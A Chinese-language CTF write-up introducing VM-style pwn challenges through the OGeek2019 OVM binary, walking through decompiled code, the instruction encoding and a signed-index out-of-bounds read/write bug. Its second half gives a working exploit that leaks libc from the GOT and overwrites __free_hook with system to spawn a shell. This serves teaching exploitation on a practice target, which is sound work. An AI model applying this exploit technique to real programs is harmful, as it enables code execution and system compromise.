vmpwn入门1

vm pwn入门1

见过很多次vm的pwn了,打开过好几次,一直没有勇气也没有能力写出来(因为我逆向能力不足),但是最近发现这东西越来越多了,没办法只能硬着头皮写了

首先还是要介绍一下什么是vm pwn,这东西一般代指在程序中实现运算指令来模拟程序的运行(汇编类)或者在程序中自定义运算指令的程序(编译类),而常见的vmpwn就是这两种题型,而常见的漏洞点是越界读写

所以题目的原理很简单,难度基本集中在逆向上面,接下来我们以题目的形式来进行学习

例题

[OGeek2019 Final]OVM

逆向

首先看buu上面的一道比较简单的vm,本地使用的是ubuntu16.04自带的2.23的环境

首先来看一下题目

没有开启canary,剩下的保护是全开的,题目主体如下

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned __int16 v4; // [rsp+2h] [rbp-Eh] BYREF
  unsigned __int16 v5; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int16 v6; // [rsp+6h] [rbp-Ah] BYREF
  unsigned int v7; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  comment = malloc(0x8CuLL);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  signal(2, signal_handler);
  write(1, "WELCOME TO OVM PWN\n", 0x16uLL);
  write(1, "PC: ", 4uLL);
  _isoc99_scanf("%hd", &v5);
  getchar();
  write(1, "SP: ", 4uLL);
  _isoc99_scanf("%hd", &v6);
  getchar();
  reg[13] = v6;
  reg[15] = v5;
  write(1, "CODE SIZE: ", 0xBuLL);
  _isoc99_scanf("%hd", &v4);
  getchar();
  if ( v6 + (unsigned int)v4 > 0x10000 || !v4 )
  {
    write(1, "EXCEPTION\n", 0xAuLL);
    exit(155);
  }
  write(1, "CODE: ", 6uLL);
  running = 1;
  for ( i = 0; v4 > i; ++i )
  {
    _isoc99_scanf("%d", &memory[v5 + i]);
    if ( (memory[i + v5] & 0xFF000000) == 0xFF000000 )
      memory[i + v5] = -536870912;
    getchar();
  }
  while ( running )
  {
    v7 = fetch();
    execute(v7);
  }
  write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);
  read(0, comment, 0x8CuLL);
  sendcomment(comment);
  write(1, "Bye\n", 4uLL);
  return 0;
}

我们从上往下介绍一些可能不太常见的函数

首先是signal(2, signal_handler),这一行代码是注册信号处理器的操作,具体功能如下

  • signal 函数:用于指定当进程接收到某个信号时,应如何处理该信号。
  • 第一个参数 2:表示信号编号,2是标准信号 SIGINT 的编号。
    • SIGINT 信号通常由用户通过键盘输入 Ctrl+C 来发送,用于终止当前运行的程序。
  • 第二个参数 signal_handler:是一个函数指针,表示当程序接收到 SIGINT 信号时,将调用的处理函数。

总的来说,signal(2, signal_handler) 的含义是:

  • 当用户按下 Ctrl+C 发送 SIGINT 信号时,不是直接终止程序,而是执行自定义的信号处理函数 signal_handler

后面的scanf里面的hd参数代表短整型,也就是16个字节的数据,分别写入v5和v6,getchar用于吸收换行符

reg数组位于bss上面,分别把v5和v6的值写入reg[13]和reg[15],这个reg给的也很明显了,就是模拟的栈,v5和v6分别代表程序计数器 (PC)和堆栈指针 (SP)。

然后提示输入size,也是短整型的v4,会对大小进行检查, v6 + v4 不得超过 0x10000(64 KB 内存限制),同时v4不能为空

随后会循环读入数据

write(1, "CODE: ", 6uLL);                            // 提示用户输入代码内容。
  running = 1;                                         // 设置运行标志位为 1,启动虚拟机。
  for ( i = 0; v4 > i; ++i )                           // 循环读取代码,次数为用户输入的代码大小 v4。
  {
    _isoc99_scanf("%d", &memory[v5 + i]);              // 读取 4 字节整数存入虚拟机内存 `memory` 中,地址从 `v5` 开始。
    if ( (memory[i + v5] & 0xFF000000) == 0xFF000000 ) // 检查高 8 位是否为 0xFF。
      memory[i + v5] = -536870912;                     // 如果是,将该指令改为特殊值 -536870912。
    getchar();                                         // 清除缓冲区中的换行符。
  }

然后依次执行

while ( running )                                    // 虚拟机主循环,只要 `running` 为真。
  {
    v7 = fetch();                                      // 获取下一条指令(从虚拟机内存中读取指令)。
    execute(v7);                                       // 执行指令(实现虚拟机指令集的操作)。

后续的重点其实是执行函数,execute,参数是v7,这个v7又是fetch函数的返回值

__int64 fetch()
{
  int v0; // eax

  v0 = reg[15];
  reg[15] = v0 + 1;
  return (unsigned int)memory[v0];
}

每次执行一次这个函数,v0都会加1,返回值又是memory[v0],所以每次都会往后取指令

ssize_t __fastcall execute(int opcode)
{
  ssize_t result; // rax: 用于存储执行结果。
  unsigned __int8 v2; // [rsp+18h] [rbp-8h]: 第一个操作数寄存器编号(低 4 位)。
  unsigned __int8 v3; // [rsp+19h] [rbp-7h]: 第二个操作数寄存器编号(中间 4 位)。
  unsigned __int8 v4; // [rsp+1Ah] [rbp-6h]: 目标寄存器编号(高 4 位)。
  int i;             // [rsp+1Ch] [rbp-4h]: 循环变量。

  // 提取寄存器编号字段
  v4 = (opcode & 0xF0000u) >> 16; 
  v3 = (unsigned __int16)(opcode & 0xF00) >> 8; 
  v2 = opcode & 0xF;            
  result = HIBYTE(opcode);     

  // 操作码为 0x70(ADD 指令)
  if ( HIBYTE(opcode) == 0x70 )  // 如果高字节操作码是 0x70,则执行加法指令。
  {
    result = (ssize_t)reg;
    reg[v4] = reg[v2] + reg[v3]; // 目标寄存器 v4 = 寄存器 v2 + 寄存器 v3。
    return result;               // 返回执行结果。
  }

  // 操作码大于 0x70 的指令
  if ( HIBYTE(opcode) > 0x70u )
  {
    // 操作码为 0xB0(XOR 指令)
    if ( HIBYTE(opcode) == 0xB0 )
    {
      result = (ssize_t)reg;
      reg[v4] = reg[v2] ^ reg[v3]; // 目标寄存器 v4 = 寄存器 v2 ^ 寄存器 v3(按位异或)。
      return result;
    }

    // 操作码大于 0xB0 的指令
    if ( HIBYTE(opcode) > 0xB0u )
    {
      // 操作码为 0xD0(右移指令)
      if ( HIBYTE(opcode) == 208 )
      {
        result = (ssize_t)reg;
        reg[v4] = (int)reg[v3] >> reg[v2]; // 目标寄存器 v4 = 寄存器 v3 >> 寄存器 v2。
        return result;
      }

      // 操作码大于 0xD0 的指令
      if ( HIBYTE(opcode) > 0xD0u )
      {
        // 操作码为 0xE0(EXIT 指令)
        if ( HIBYTE(opcode) == 224 )
        {
          running = 0;                      // 停止虚拟机运行。
          if ( !reg[13] )                   // 如果寄存器 13 为 0,打印退出信息。
            return write(1, "EXIT\n", 5uLL);
        }
        else if ( HIBYTE(opcode) != 255 )   // 如果不是 HALT 指令,直接返回。
        {
          return result;
        }

        // 操作码为 0xFF(HALT 指令)
        running = 0;                        // 停止虚拟机运行。
        for ( i = 0; i <= 15; ++i )         // 打印所有寄存器值。
          printf("R%d: %X\n", i, reg[i]);
        return write(1, "HALT\n", 5uLL);    // 输出 HALT 信息。
      }
      else if ( HIBYTE(opcode) == 192 )     // 操作码为 0xC0(左移指令)
      {
        result = (ssize_t)reg;
        reg[v4] = reg[v3] << reg[v2];       // 目标寄存器 v4 = 寄存器 v3 << 寄存器 v2。
      }
    }
    else
    {
      // 基于操作码的按位操作指令
      switch ( HIBYTE(opcode) )
      {
        case 0x90u:                         // AND 指令
          result = (ssize_t)reg;
          reg[v4] = reg[v2] & reg[v3];      // 按位与。
          break;
        case 0xA0u:                         // OR 指令
          result = (ssize_t)reg;
          reg[v4] = reg[v2] | reg[v3];      // 按位或。
          break;
        case 0x80u:                         // SUB 指令
          result = (ssize_t)reg;
          reg[v4] = reg[v3] - reg[v2];      // 减法。
          break;
      }
    }
  }

  // 操作码为 0x30(LOAD 指令)
  else if ( HIBYTE(opcode) == 0x30 )
  {
    result = (ssize_t)reg;
    reg[v4] = memory[reg[v2]];              // 将内存地址 reg[v2] 的值加载到寄存器 v4。漏洞点
  }

  // 操作码介于 0x31 和 0x3F 的指令
  else if ( HIBYTE(opcode) > 0x30u )
  {
    switch ( HIBYTE(opcode) )
    {
      case 'P':                             // PUSH 指令
        LODWORD(result) = reg[13];          // 获取栈指针 reg[13]。
        reg[13] = result + 1;               // 栈指针加 1。
        result = (int)result;
        stack[(int)result] = reg[v4];       // 将寄存器 v4 的值压入栈。
        break;
      case '`':                             // POP 指令
        --reg[13];                          // 栈指针减 1。
        result = (ssize_t)reg;
        reg[v4] = stack[reg[13]];           // 将栈顶值弹出到寄存器 v4。
        break;
      case '@':                             // STORE 指令
        result = (ssize_t)memory;
        memory[reg[v2]] = reg[v4];          // 将寄存器 v4 的值存入内存地址 reg[v2]。漏洞点
        break;
    }
  }

  // 操作码为 0x10(LOAD_IMM 指令)
  else if ( HIBYTE(opcode) == 16 )
  {
    result = (ssize_t)reg;
    reg[v4] = (unsigned __int8)opcode;      // 将立即值存储到寄存器 v4。
  }

  // 操作码为 0x20(TEST_ZERO 指令)
  else if ( HIBYTE(opcode) == 32 )
  {
    result = (ssize_t)reg;
    reg[v4] = (_BYTE)opcode == 0;           // 如果立即值为 0,将 1 存储到寄存器 v4,否则存储 0。
  }

  return result;                            // 返回结果。
}

最后的sendcomment函数其实是一个free

void __fastcall sendcomment(void *a1)
{
  free(a1);
}

传进来的comment则是最开始初始化的堆块,而在free前有一个read向comment输入数据,因为是2.23,所以如果我们修改free_hook为system,输入/bin/sh,最后free的时候就可以getshell

所以我们视角转回execute函数

里面更加细节的我上面也有,解释一下最开始为什么要与上那么多数据

v4 = (a1 & 0xF0000u) >> 16;                          
  v3 = (unsigned __int16)(a1 & 0xF00) >> 8;             
  v2 = a1 & 0xF;

这段代码从 opcode 中提取了三部分信息,分别是 v4v3v2,它们通常对应于虚拟机指令集的目标寄存器第二操作数寄存器、和第一操作数寄存器。这些位的提取通常遵循特定的指令编码规范。

|  8  操作码 | 次高 4  目标寄存器 | 次低 4  源寄存器1 | 最低 4  源寄存器2/立即数 |
|     24-31     |       20-23         |       12-15         |           0-3            |

字段解释

  1. 操作码(高 8 位)
    • 使用 HIBYTE(opcode) 提取,即 (opcode >> 8) & 0xFF
    • 决定指令的类型,例如 ADDSHLLOAD 等。
  2. 目标寄存器(次高 4 位,v4
    • 提取 (opcode & 0xF0000u) >> 16
    • 表示操作的结果将存储在哪个寄存器中。
  3. 源寄存器1(次低 4 位,v3
    • 提取 (opcode & 0xF00) >> 8
    • 表示第一个操作数来源的寄存器。
  4. 源寄存器2或立即数(最低 4 位,v2
    • 提取 opcode & 0xF
    • 表示第二个操作数来源的寄存器,或直接是一个 4 位的立即数。

这里还是需要解释一下&

举个例子,假设 opcode = 0xABCDE123(32 位整数),其二进制表示为:

1010 1011 1100 1101 1110 0001 0010 0011

*使用 v4v3v2 提取字段**

c复制代码v4 = (opcode & 0xF0000u) >> 16;  // 提取目标寄存器编号
v3 = (opcode & 0xF00) >> 8;      // 提取源寄存器1编号
v2 = opcode & 0xF;               // 提取源寄存器2编号
result = HIBYTE(opcode);         // 提取操作码

字段解析

  1. 提取 v4(目标寄存器编号)

    v4 = (opcode & 0xF0000u) >> 16;
    • 掩码:0xF0000:

      0000 1111 0000 0000 0000
    • 按位与操作:

      0xABCDE123 & 0xF0000 = 0xC0000
    • 右移 16 位:

      0xC0000 >> 16 = 0xC

    结果

    v4 = 0xC
  2. 提取 v3(源寄存器1编号)

    v3 = (opcode & 0xF00) >> 8;
    • 掩码:0xF00:

      0000 0000 1111 0000 0000
    • 按位与操作:

      0xABCDE123 & 0xF00 = 0xD00
    • 右移 8 位:

      0xD00 >> 8 = 0xD

    结果

    v3 = 0xD
  3. 提取 v2(源寄存器2编号/立即数)

    v2 = opcode & 0xF;
    • 掩码:0xF:

      0000 0000 0000 0000 1111
    • 按位与操作:

      0xABCDE123 & 0xF = 0x3

    结果

    v2 = 0x3
  4. 提取操作码(高 8 位)

    result = HIBYTE(opcode);
    • HIBYTE(opcode)

      的定义:

      #define HIBYTE(x) ((x >> 24) & 0xFF)
    • 右移 24 位:

      0xABCDE123 >> 24 = 0xAB
    • 按位与操作:

      0xAB & 0xFF = 0xAB

    结果

    result = 0xAB

4. 解析结果总结

对于 opcode = 0xABCDE123,通过解析:

  • 操作码(result):0xAB
  • 目标寄存器(v4):0xC
  • 源寄存器1(v3):0xD
  • 源寄存器2(v2):0x3

完整逆向出来就可以得到

mov reg, op     0x10 : reg[dest] = op
mov reg, 0      0x20 : reg[dest] = 0
mov mem, reg    0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem    0x40 : memory[reg[src2]] = reg[dest]
push reg    0x50 : stack[result] = reg[dest]
pop reg     0x60 : reg[dest] = stack[reg[13]]
add         0x70 : reg[dest] = reg[src2] + reg[src1]
sub         0x80 : reg[dest] = reg[src1] - reg[src2]
and         0x90 : reg[dest] = reg[src2] & reg[src1]
or          0xA0 : reg[dest] = reg[src2] | reg[src1]
^           0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left        0xC0 : reg[dest] = reg[src1] << reg[src2]
right       0xD0 : reg[dest] = reg[src1] >> reg[src2]
0xFF : (exit or print) if(reg[13] != 0) print oper

那题目的漏洞点在哪里呢,就是两个mov语句

case 0x40u:
        result = (ssize_t)memory;
        memory[reg[src2]] = reg[op];
        break;
else if ( HIBYTE(opcode) == 0x30 )
  {
    result = (ssize_t)reg;
    reg[op] = memory[reg[src2]];

从对应的汇编中可以看到

数组是一个movsxd

movsxdMove with Sign-Extend 的缩写,用于将一个较小的有符号数据扩展为更大的有符号数据。

关键点:有符号扩展(Sign-Extension)和 无符号扩展(Zero-Extension)

这其实就代表我们的数组里面是有符号的

那也就意味着,我们的数据如果是负的,就会产生越界读写

if ( HIBYTE(opcode) == 0xE0 )
        {
          running = 0;
          if ( !reg[13] )
            return write(1, "EXIT\n", 5uLL);
        }
        else if ( HIBYTE(opcode) != 0xFF )
        {
          return result;
        }
        running = 0;
        for ( i = 0; i <= 15; ++i )
          printf("R%d: %X\n", i, reg[i]);
        return write(1, "HALT\n", 5uLL);
      }

这里可以泄露libc,那思路也就渐渐清晰

编写exp

泄露libc的思路就是,向上访问到got表,那我们就可以把函数地址放到寄存器里。上面的逆向分析写到寄存器跟内存是4字节的,而泄露的地址是大于4字节的,所以需要使用两个寄存器来存放

最后可以对comment[0]这个位置进行写入数据,最后再使用free进行释放。这里比较关键,我们可以将comment[0]给劫持到free_hook - 0x8的这个位置。然后输入/bin/sh + system_addr,刚好可以将free_hook给改成system。然后free就会执行system(“/bin/sh”);了

向上可以发现,这么多got表,我们选择一个肯定被调用过的,也就是stdin

地址是0x201F80,而我们的menory地址是0x202060

这里也可以发现,数组类型是dword,那也就意味着,一个数组元素占4个字节,所以偏移是0x38

这里还存在的问题是,这里一个位置只能放4个字节,所以我们想要泄露libc需要两个数组元素,分别占一半的地址数

-56用补码是0xffffffc8,也就是我们需要凑一个0xffffffc8到reg里面

'''
mov reg, op     0x10 : reg[dest] = op
mov reg, 0      0x20 : reg[dest] = 0
mov mem, reg    0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem    0x40 : memory[reg[src2]] = reg[dest]
push reg    0x50 : stack[result] = reg[dest]
pop reg     0x60 : reg[dest] = stack[reg[13]]
add         0x70 : reg[dest] = reg[src2] + reg[src1]
sub         0x80 : reg[dest] = reg[src1] - reg[src2]
and         0x90 : reg[dest] = reg[src2] & reg[src1]
or          0xA0 : reg[dest] = reg[src2] | reg[src1]
^           0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left        0xC0 : reg[dest] = reg[src1] << reg[src2]
right       0xD0 : reg[dest] = reg[src1] >> reg[src2]
0xFF : (exit or print) if(reg[13] != 0) print oper
'''
code(0x10, 0, 0, 8) #reg[0] = 8
code(0x10, 1, 0, 0xff)  #reg[1] = 0xff
code(0x10, 2, 0, 0xff) # reg[2] = 0xff
code(0xc0, 2, 2, 0) # reg[2] = reg[2] << reg[0] = 0xff00
code(0x70, 2, 2, 1) # reg[2] = reg[2] + reg[1] = 0xffff
code(0xc0, 2, 2, 0) # reg[2] = reg[2] << reg[0] = 0xffff00
code(0x70, 2, 2, 1) # reg[2] = reg[2] + reg[1] = 0xffffff
code(0xc0, 2, 2, 0) # reg[2] = reg[2] << reg[0] = 0xffffff00
code(0x10, 1, 0, 0xc8) # reg[1] = 0xc8
code(0x70, 2, 2, 1) # reg[2] = reg[2] + reg[1] = 0xffffffc8 = -56

通过0x10的操作码,把reg0里面先放8,这样后面可以左移8个字节,通过不断的左移和相加,最后凑出-56

这个时候的reg2里面就是-56

code(0x30, 3, 0, 2) # mov reg, mem reg[3] = mem[reg[2]] = mem[-56]
code(0x10, 1, 0, 1) # reg[1] = 1
code(0x70, 2, 2, 1) # reg[2] = reg[2] + reg[1] = -55
code(0x30, 4, 0, 2) # mov reg, mem reg[4] = mem[reg[2]] = mem[-55]

这样就能在reg[3]和reg[4]里面放上mem[-56]和mem[-55]

然后准备劫持free_hook

code(0x10, 1, 0, 0x10) # reg[1] = 0x10
code(0xc0, 1, 1, 0)  # reg[1] = reg [1] << reg[0] = 0x1000
code(0x10, 0, 0, 0x90)  # reg[0] = 0x90
code(0x70, 1, 1, 0) # reg[1] = reg[1] + reg[0] = 0x1090

code(0x70, 3, 3, 1) # reg[3] = reg[3] + reg[1] = mem[-56] + 0x1090 = free_hook - 8
code(0x10, 1, 0, 47) # reg[1] = 47
code(0x70, 2, 2, 1) # reg[2] = reg[2] + reg[1] = -55 + 47 = -8
code(0x40, 3, 0, 2) # mov mem[reg[sr2]],reg[dest] 改comment
#gdb.attach(io)
code(0x10, 1, 0, 1) # reg[1]=1
code(0x70, 2, 2, 1) # reg[2] = reg[2] + reg[1] = -8 + 1 = -7
code(0x40, 4, 0, 2) # mov mem[reg[sr2]],reg[dest]
code(0xE0, 0, 0, 0)

stdin地址和_free_hook-8地址相距0x0x1090,通过数组的越界写,把comment里面记录的堆块地址,改成free_hook-8,这样结束的时候就可以对free_hook修改

io.recvuntil('R3: ')
low_addr = int(io.recv(8), 16)
print('[+] low_addr =', hex(low_addr))

io.recvuntil('R4: ')
high_addr = int(io.recv(4), 16)
print('[+] high_addr =', hex(high_addr))

free_hook = (high_addr << 32) + low_addr
print('[+] free_hook =', hex(free_hook))

libc_base = free_hook + 8 - libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

p1 = b'/bin/sh\x00' + p64(system_addr)
io.sendline(p1)

io.interactive()

由于我是ubuntu22.04,所以会显示这样,但是这已经是拿到shell了

0 条评论
某人
表情
可输入 255